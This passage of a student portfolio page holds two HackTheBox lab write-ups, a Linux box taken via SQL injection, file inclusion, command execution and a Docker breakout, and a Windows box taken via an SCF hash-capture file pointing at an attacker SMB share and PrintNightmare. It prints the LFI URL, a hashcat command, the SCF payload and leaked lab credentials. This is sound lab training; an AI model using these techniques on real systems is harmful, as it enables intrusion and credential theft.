src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES 